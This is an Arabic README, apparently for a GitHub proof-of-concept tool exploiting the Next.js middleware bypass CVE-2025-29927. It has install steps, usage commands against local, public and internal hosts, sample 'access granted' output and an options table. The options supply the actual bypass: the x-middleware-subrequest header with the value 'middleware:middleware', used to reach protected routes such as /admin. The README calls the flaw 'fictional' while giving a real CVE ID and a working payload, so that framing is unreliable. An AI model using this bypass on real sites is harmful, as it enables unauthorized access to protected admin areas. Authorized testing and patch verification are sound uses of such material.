
> 🔓 إثبات المفهوم لثغرة تجاوز وسيطة Next.js خيالية (CVE-2025-29927) — صياغة طلبات فرعية لاختبار المسارات المحمية.
هذا إثبات مفهوم لثغرة افتراضية في تجاوز الوسيطة في Next.js (CVE-2025-29927). يُستخدم فقط للأغراض التعليمية والبحث الأمني المصرح به.
| الميزة | الوصف |
|---|---|
| ✨ الألوان والإسهاب | مخرجات ملونة؛ -v لسجلات تصحيح مفصلة. |
| 📦 هيكل البرمجة الكائنية | تصميم قائم على الفئات للوضوح وسهولة الصيانة. |
| 🌐 دعم البروكسي | توجيه حركة المرور عبر بروكسيات HTTP(S) باستخدام --proxy. |
| 🍪 التعامل مع الجلسات | جلسة requests.Session دائمة لإعادة استخدام الكوكيز والاتصالات. |
| 🚦 التحكم في إعادة التوجيه | عدم متابعة إعادة التوجيه افتراضيًا؛ يكتشف بوضوح النجاح مقابل الفشل. |
| 🛠 رؤوس مخصصة | تجاوز User-Agent أو x-middleware-subrequest أو إضافة رؤوس. |
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc
# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install dependencies
pip install -r requirements.txt
يتطلب Python 3.7+
python poc.py [options] <host>[:port]
python poc.py localhost:3000
python poc.py example.com -s https -p /dashboard
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
نجاح
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed — access granted!
--- Response Snippet ---
<!DOCTYPE html><html>…<title>Admin Panel</title>…
فشل
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)
| الخيار | الوصف |
|---|
-p, --path PATH | مسار المسار المحمي (الافتراضي: /admin) |
-s, --scheme {http,https} | البروتوكول (الافتراضي: http) |
--header HEADER | قيمة رأس x-middleware-subrequest (الافتراضي: middleware:middleware) |
-ua, --user-agent AGENT | User-Agent مخصص (الافتراضي: Mozilla/5.0) |
--proxy PROXY | رابط بروكسي HTTP(S) (مثل: http://127.0.0.1:8080) |
-v, --verbose | تمكين مخرجات التصحيح |
-h, --help | عرض رسالة المساعدة هذه |